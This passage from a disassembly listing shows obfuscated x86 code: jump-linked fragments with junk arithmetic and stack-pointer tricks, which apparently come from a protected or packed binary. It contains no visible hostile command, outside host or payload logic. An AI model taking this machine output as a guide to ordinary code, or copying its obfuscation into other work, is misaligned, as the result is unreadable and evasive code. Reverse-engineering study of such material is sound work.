; ---------------------------------------------------------------------------


loc_58F9C3:				; CODE XREF: sdfs____:00598845j
		not	ebp
		add	ebp, 8DD27815h
		jmp	loc_5903AC
; ---------------------------------------------------------------------------


loc_58F9D0:				; CODE XREF: sdfs____:0059457Aj
		add	[esp+8], ecx
		jmp	loc_5971DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58F9D9:				; CODE XREF: sub_591370-260j
		pop	ebx
		push	ebp
		jmp	loc_592523
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58F9E0:				; CODE XREF: sdfs____:005904D5j
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		cmp	cl, al
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58F9EF:				; CODE XREF: sub_5941BD-72C6j
		pop	edx
		xor	eax, esi
		jmp	loc_593791
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_58F9F7:				; CODE XREF: sdfs____:00595AA3j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_590223
; ---------------------------------------------------------------------------


loc_58FA05:				; CODE XREF: sdfs____:0058EDF4j
		jmp	loc_58B9C5

; =============== S U B	R O U T	I N E =======================================



sub_58FA0A	proc near		; CODE XREF: sub_592F43-67C7j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058E644 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059016D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059171D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00591D0B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00592A84 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00592FE8 SIZE 0000000C BYTES

		push	ebx
		push	63184048h
		pop	ebx
		sub	ebx, 0D764A94Ch
		jmp	loc_58E644
sub_58FA0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58FA1C:				; CODE XREF: sdfs____:00590D34j
		sub	ebx, 56E55FF5h
		jmp	loc_596A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_58FA27:				; CODE XREF: sub_5BB696-2AB1Aj
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], ebp
		jmp	loc_597E15
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------


loc_58FA35:				; CODE XREF: sdfs____:00597BDDj
		sub	eax, 5ADD3732h
		jmp	loc_58C7FC
; ---------------------------------------------------------------------------


loc_58FA3F:				; CODE XREF: sdfs____:00592224j
		pop	ecx
		mov	esi, ebx
		pop	ebx
		jmp	loc_5971CE
; ---------------------------------------------------------------------------


loc_58FA48:				; CODE XREF: sdfs____:00593CB9j
		xor	edx, 0A1CAD6A4h
		sub	edx, ebx
		jmp	loc_595231
; ---------------------------------------------------------------------------


loc_58FA55:				; CODE XREF: sdfs____:0058C005j
		push	cx
		mov	cl, 3Ch
		add	al, cl
		mov	cx, [esp]
		add	esp, 2
		add	al, ch
		sub	al, 3Ch
		pop	ecx
		jmp	loc_58F3AF
; ---------------------------------------------------------------------------


loc_58FA6F:				; CODE XREF: sdfs____:0058EA06j
		neg	ecx
		xchg	ecx, ebp
		neg	ebp
		shl	ebp, 1
		xor	ebp, 65F4534Ch
		add	edx, ebp
		pop	ebp
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5906FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58FA91:				; CODE XREF: sub_591435-224Cj
		sub	ecx, edx
		pop	edx
		jmp	loc_591819
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58FA99:				; CODE XREF: sdfs____:00590AB4j
		add	edx, 22535FFBh
		push	edi
		mov	edi, 4479427Eh
		dec	edi
		jmp	loc_58D140
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58FAAB:				; CODE XREF: sub_594228+37D3j
		mov	ebx, 2
		add	ebp, 35453EDDh
		add	ebp, ebx
		sub	ebp, 35453EDDh
		mov	ebx, [esp-0Ah+arg_6]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_58F8F1
; ---------------------------------------------------------------------------


loc_58FAD2:				; CODE XREF: sub_594228+879j
		push	[esp-6+arg_6]
		pop	edx
		pop	[esp-6+arg_0+2]
		pop	esp
		jmp	loc_596214
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58FAE0:				; CODE XREF: sdfs____:0058C39Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		jmp	loc_58E6EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58FAF2:				; CODE XREF: sub_5917C0-3562j
		not	[esp-4+arg_0]
		pop	ebx
		neg	ebx
		jmp	loc_58D0A9
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58FAFD:				; CODE XREF: sdfs____:005910C9j
		mov	dh, 55h
		mov	ah, 2Eh
		xor	ah, dh
		mov	edx, [esp]
		jmp	loc_596D81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58FB0B:				; CODE XREF: sub_594228-7374j
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595678


loc_58FB10:				; CODE XREF: sub_595678-71Cj
		xor	ecx, 0D7961CA1h
		add	ebp, ecx
		jmp	loc_592B4E
; END OF FUNCTION CHUNK	FOR sub_595678
; ---------------------------------------------------------------------------


loc_58FB1D:				; CODE XREF: sdfs____:00592AC0j
		push	47A8h
		mov	[esp], edx
		jmp	loc_595D6E
; ---------------------------------------------------------------------------


loc_58FB2A:				; CODE XREF: sdfs____:00597083j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58BB2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58FB35:				; CODE XREF: sub_5962EB-719Aj
		dec	esi
		add	esi, 7F5B33F5h
		xor	edx, esi
		pop	esi
		push	edx
		jmp	loc_58F6AD
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58FB45:				; CODE XREF: sub_5917C0-CECj
		add	esp, 4
		jmp	loc_596F96
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58FB4D:				; CODE XREF: sdfs____:00592CFCj
		add	edi, 27655276h
		jmp	loc_59453F
; ---------------------------------------------------------------------------
		push	0
		mov	ebx, [esp]
		push	eax
		jmp	loc_598D90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58FB66:				; CODE XREF: sub_591435-E09j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_58E2A4
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58FB75:				; CODE XREF: sdfs____:00593A23j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	edi
		jmp	loc_59464F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58FB8C:				; CODE XREF: sub_591370+5B6Dj
		add	eax, 517346D1h
		sub	eax, 64B43C8h
		jmp	loc_595F2C
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_598B6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58FBA9:				; CODE XREF: sub_591370-16A2j
		movzx	eax, al
		mov	dx, word ptr [esp-14h+arg_10]
		jmp	loc_58ED34
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58FBB5:				; CODE XREF: sdfs____:0058CA94j
		xor	ebp, [esp]
		mov	esp, [esp]
		movsx	ecx, al
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 4
		jmp	loc_58BF2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58FBE3:				; CODE XREF: sub_591435-2959j
		pop	esp
		push	5049h
		mov	[esp+8+var_8], ebp
		jmp	loc_597D3F
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58FBF1:				; CODE XREF: sub_594228-7C75j
		mov	edx, 0C60157DFh
		add	edi, edx
		pop	edx
		jmp	loc_591AE7
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58FBFE:				; CODE XREF: sub_591370+2035j
					; sdfs____:00596A11j
		jge	loc_5934E7
		add	esi, 0AD4ECA24h
		push	eax
		mov	dh, bh
		push	ebx


loc_58FC0E:				; CODE XREF: sdfs____:005963B1j
		add	ebx, 4
		xchg	ebx, [esp-0Ch+arg_8]
		jmp	loc_592A37
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58FC1C:				; CODE XREF: sdfs____:0058E064j
		push	473Eh
		mov	[esp], esi
		jmp	loc_5972BC
; ---------------------------------------------------------------------------


loc_58FC29:				; CODE XREF: sdfs____:0058EF64j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_58E970
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58FC37:				; CODE XREF: sub_591435+163Dj
		pop	ebx
		push	6BA2h
		mov	[esp+0], ebx
		mov	ebx, 0
		add	ebx, eax
		mov	[ebx], cl
		push	dword ptr [esp+0]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_594933
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58FC61:				; CODE XREF: sdfs____:0059597Aj
		xor	ecx, [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58FC72:				; CODE XREF: sdfs____:00592406j
					; sub_5941BD-196Fj
		mov	ecx, 60B24476h
		mov	eax, ecx
		pop	ecx
		jmp	sub_59587A
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_58FC7F:				; CODE XREF: sdfs____:00594039j
		add	eax, edi
		pop	edi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	65BDh
		jmp	loc_5928E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58FC99:				; CODE XREF: sub_594228+3520j
		shr	edx, 4
		jmp	loc_58CD7E
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58FCA1:				; CODE XREF: sdfs____:00594627j
		pop	ecx
		add	edx, 603A24A6h
		add	edx, edi
		push	edi
		mov	edi, 1BAD36BAh
		inc	edi
		shl	edi, 8
		shl	edi, 8
		jmp	loc_5910D9
; ---------------------------------------------------------------------------


loc_58FCBC:				; CODE XREF: sdfs____:0058BF73j
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		push	ecx
		jmp	loc_58D151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58FCCB:				; CODE XREF: sub_591370+82Bj
		pop	ecx
		xor	bl, al
		jmp	loc_58FBA9
; ---------------------------------------------------------------------------


loc_58FCD3:				; CODE XREF: sub_591370-900j
		pop	ebp
		shl	eax, 4
		shl	eax, 5
		shr	eax, 8
		sub	eax, 273279h
		push	eax
		mov	ebp, [esp-10h+arg_C]
		add	esp, 4
		pop	eax
		and	eax, ebp
		jmp	loc_592095
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_58FCF4:				; CODE XREF: sub_5985AE-2C3Fj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-0Ch+arg_8]
		pop	esp
		mov	[esp-10h+arg_C], ecx
		jmp	loc_58C2CE
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_58FD0A:				; CODE XREF: sdfs____:0059645Ej
		shr	eax, 3
		push	eax
		not	dword ptr [esp]
		jmp	loc_58E69A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	5516h
		mov	[esp], edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 666B3E95h
		jmp	loc_591A59
; ---------------------------------------------------------------------------


loc_58FD34:				; CODE XREF: sdfs____:005973D7j
		pop	edx
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		imul	cx
		push	ebx
		push	999h
		mov	[esp], esp
		jmp	loc_5921B6
; ---------------------------------------------------------------------------


loc_58FD55:				; CODE XREF: sdfs____:0058F701j
		push	44A5h
		jmp	loc_59358B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58FD5F:				; CODE XREF: sub_594228+1110j
		imul	ecx
		push	2A5Ah
		mov	[esp+16h+var_18+2], edx
		push	7F04h
		mov	[esp+1Ah+var_1C+2], esp
		add	[esp+1Ah+var_1C+2], 4
		pop	edx
		push	edi
		push	esi
		push	ebp
		mov	ebp, 28B15E7Ch
		shr	ebp, 5
		sub	ebp, 689545E6h
		jns	loc_591814
		jmp	loc_597B3C
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58FD92:				; CODE XREF: sdfs____:00596CEDj
		xor	eax, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_58FDA2:				; CODE XREF: sub_59576E-6F40j
		mov	eax, [esp+0]
		add	esp, 4
		sub	ebp, 2
		push	ebp
		push	[esp+arg_0]
		pop	ebp
		pop	dword ptr [esp+0]
		jmp	loc_595EF0
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_58FDBC:				; CODE XREF: sub_5BB696-2F76Ej
		push	edx
		push	ecx
		jmp	loc_598AA0
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58FDC3:				; CODE XREF: sub_594228+2F6Dj
		xor	esi, [esp+22h+var_24+2]
		jmp	loc_591914
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58FDCB:				; CODE XREF: sub_5941BD+F78j
		add	ebp, edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		push	ebx
		push	ecx
		mov	ecx, 6E064578h
		mov	ebx, 1A5F7998h
		jmp	loc_592834
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58FDE4:				; CODE XREF: sub_5917C0-45DBj
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		jmp	loc_59498D
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59377D


loc_58FDF1:				; CODE XREF: sub_59377D-199Cj
		pop	esi
		pop	esi
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	eax, 70334B4Ah
		and	eax, 6ABC54F4h
		dec	eax
		xor	eax, 3D3A1737h
		add	eax, 22FD6661h
		push	eax
		dec	[esp+0Ch+var_C]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		xor	eax, 844D9529h
		jmp	loc_5981DC
; END OF FUNCTION CHUNK	FOR sub_59377D
; ---------------------------------------------------------------------------


loc_58FE22:				; CODE XREF: sdfs____:005960A8j
		mov	dl, 0D6h
		shl	dl, 8
		or	dl, 70h
		add	dl, 40h
		sub	cl, dl
		jmp	loc_5952ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58FE34:				; CODE XREF: sub_59841F-685Fj
		pop	[esp+4+var_4]
		jmp	loc_598644
; END OF FUNCTION CHUNK	FOR sub_59841F

; =============== S U B	R O U T	I N E =======================================



sub_58FE3C	proc near		; CODE XREF: sub_591435+5362j

arg_0		= word ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0058BCC6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058D203 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00591827 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005924B5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059462C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005987E6 SIZE 0000000D BYTES

		push	ebx
		jmp	loc_59462C
sub_58FE3C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58FE42:				; CODE XREF: sdfs____:00592F2Fj
		jmp	loc_598D58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58FE47:				; CODE XREF: sdfs____:00595E69j
					; sub_5941BD+425Dj
		mov	eax, edi
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		shr	eax, 1
		sub	eax, 20E7552Ch
		push	esi
		mov	esi, 4415544Dh
		xor	esi, 7F094C29h
		jmp	loc_58C7BA
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_58FE67:				; CODE XREF: sdfs____:00594CA3j
		push	edx
		jmp	loc_58E654
; ---------------------------------------------------------------------------


loc_58FE6D:				; CODE XREF: sdfs____:00596D96j
		push	ecx
		push	edi
		push	24C42C3Ch
		pop	edi
		or	edi, 4F090FF5h
		jmp	loc_59801F
; ---------------------------------------------------------------------------


loc_58FE80:				; CODE XREF: sdfs____:00592A69j
		pop	ebx
		jmp	loc_590AFC
; ---------------------------------------------------------------------------


loc_58FE86:				; CODE XREF: sdfs____:00594ED4j
		mov	eax, esp
		push	esi
		push	ebp
		push	53E807BAh
		jmp	loc_58D1EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_58FE94:				; CODE XREF: sub_59587A-6BAj
		jmp	loc_595F46
; END OF FUNCTION CHUNK	FOR sub_59587A

; =============== S U B	R O U T	I N E =======================================



sub_58FE99	proc near		; CODE XREF: sub_593131-2326j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058C05E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058DBCB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058E91C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F004 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059254A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005930B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00593237 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00594BF5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00595425 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00596191 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00596C8C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597B84 SIZE 00000030 BYTES

		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, esp
		jmp	loc_59254A
sub_58FE99	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58FEA9:				; CODE XREF: sub_591435-35C2j
		shr	bl, 6
		add	bl, 4Fh
		sub	al, bl
		jmp	loc_595EAE
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F18


loc_58FEB6:				; CODE XREF: sub_594F18-8CD3j
		or	esi, 1D4D46CEh
		add	esi, 9E313CCh
		add	eax, esi
		pop	esi
		jmp	loc_58BBD8
; END OF FUNCTION CHUNK	FOR sub_594F18
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_59538B
; ---------------------------------------------------------------------------


loc_58FEE0:				; CODE XREF: sdfs____:00593740j
		mov	[esp], eax
		push	50C918BBh
		mov	eax, [esp]
		jmp	loc_598D73
; ---------------------------------------------------------------------------


loc_58FEF0:				; CODE XREF: sdfs____:00596E96j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58FEF5:				; CODE XREF: sub_5917C0-37ECj
		push	edx
		jmp	loc_5934C4
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58FEFB:				; CODE XREF: sub_591435+53Fj
		sub	dh, 0C9h
		jns	loc_59853A
		jmp	loc_5955FA
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4


loc_58FF13:				; CODE XREF: sdfs____:0058F0D9j
		or	bh, 0F1h
		jmp	loc_593119
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D9A7


loc_58FF1B:				; CODE XREF: sub_58D9A7+1j
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		push	eax
		push	3BDAh
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		mov	eax, [esp+10h+var_10]
		jmp	loc_5918F6
; END OF FUNCTION CHUNK	FOR sub_58D9A7
; ---------------------------------------------------------------------------


loc_58FF36:				; CODE XREF: sdfs____:00592A1Ej
		add	edx, 0FFFFFFFFh
		sub	edx, 0FFFFFFFFh
		add	edx, 4C99342Dh
		add	ecx, edx
		pop	edx
		jmp	loc_592B46
; ---------------------------------------------------------------------------


loc_58FF4A:				; CODE XREF: sdfs____:0058CEDBj
		push	eax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58FF51:				; CODE XREF: sdfs____:00595788j
		js	loc_595E63
		add	ecx, 41FD13C6h
		jnp	loc_58BB55
		push	edi
		mov	edi, 478BE880h
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edx, 4D2F13FEh
		add	edx, ecx
		sub	edx, 4D2F13FEh
		pop	ecx
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58FF97:				; CODE XREF: sub_5917C0-BB5j
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		push	edx
		jmp	loc_58C119
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58FFA7:				; CODE XREF: sdfs____:0058D9C2j
		add	edi, esi
		push	esi
		mov	esi, 5F9A3FC1h
		jmp	loc_58E598
; ---------------------------------------------------------------------------


loc_58FFB4:				; CODE XREF: sdfs____:loc_592302j
		push	esi
		mov	esi, 44253F9Bh
		or	esi, 36FF23AEh
		dec	esi
		jmp	loc_58BEDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58FFC6:				; CODE XREF: sub_5917C0-16E2j
					; sdfs____:005958B5j
		add	eax, ecx
		pop	ecx
		jmp	loc_592307
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58FFCE:				; CODE XREF: sdfs____:005906A7j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_592C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58FFD7:				; CODE XREF: sub_5941BD-5E2j
		mov	ecx, edx
		pop	edx
		jmp	loc_58BE0D
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_58FFDF:				; CODE XREF: sdfs____:00598AB0j
		mov	esp, [esp]
		jmp	loc_58E084
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58FFE7:				; CODE XREF: sub_591370-4E4Dj
		sub	ecx, edx
		pop	edx
		jmp	loc_597ED4
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58FFEF:				; CODE XREF: sdfs____:0059146Bj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_591192
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_590007:				; CODE XREF: sub_59841F-C907j
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], eax
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_590013:				; CODE XREF: sdfs____:00595299j
		pop	esi
		add	ebp, 3917457Ah
		jmp	loc_58CA85
; ---------------------------------------------------------------------------


loc_59001F:				; CODE XREF: sdfs____:005902AAj
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 10CE2108h
		not	edi
		add	edi, 7CF61672h
		jmp	loc_593875
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_59005E:				; CODE XREF: sub_591370-3B21j
		mov	[esp-0Ch+arg_8], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], edx
		xor	edx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		push	edx
		jmp	loc_597628
; ---------------------------------------------------------------------------


loc_59007E:				; CODE XREF: sub_591370+24AEj
		jmp	loc_595E06
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_590083:				; CODE XREF: sdfs____:0058C4A6j
		pop	esi
		jmp	loc_58F435
; ---------------------------------------------------------------------------


loc_590089:				; CODE XREF: sdfs____:00590D2Ej
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 36A83865h
		push	ebx
		jmp	loc_58D4D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E92A


loc_5900A0:				; CODE XREF: sub_58E92A+1B8Cj
		mov	eax, [esp+0]
		add	esp, 4
		add	bl, 90h
		jmp	loc_594E53
; END OF FUNCTION CHUNK	FOR sub_58E92A
; ---------------------------------------------------------------------------


loc_5900B1:				; CODE XREF: sdfs____:0059687Aj
		mov	ebp, 41957042h
		or	edx, ebp
		pop	ebp
		add	edx, 0A2288C96h
		add	eax, edx
		pop	edx
		push	266Fh
		mov	[esp], edi
		push	edx
		jmp	loc_59395D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5900D0:				; CODE XREF: sub_5917C0-3A55j
		inc	cl
		jg	loc_58EA52
		push	dx
		mov	dl, 8Eh
		add	cl, dl
		jmp	loc_58FFC6
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
		mov	ah, al
		mov	dh, al


loc_5900E7:				; CODE XREF: sdfs____:00590423j
		push	ebx
		mov	ebx, 0CC04DFB9h
		sub	esi, ebx
		jmp	loc_58DCCD
; ---------------------------------------------------------------------------


loc_5900F4:				; CODE XREF: sdfs____:0058D970j
		pop	eax
		shr	ch, 8
		inc	ch
		xor	ch, 7Ch
		add	dh, ch
		pop	ecx
		shl	dh, 3
		push	ebx
		mov	bl, 98h
		neg	bl
		xchg	ch, bl
		not	ch
		xchg	ch, bl
		jmp	loc_58D66E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_590113:				; CODE XREF: sub_59576E-4934j
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_590BEA
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------


loc_59012C:				; CODE XREF: sdfs____:0058DBB7j
		xor	ebx, 76B66138h
		sub	eax, ebx
		pop	ebx
		xor	ebx, eax
		xor	edx, eax
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59013E:				; CODE XREF: sub_591435-397Dj
					; sub_59841F-A411j
		add	al, dh
		sub	al, 2Fh
		push	[esp+12h+var_14+2]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+16h+var_18+2]
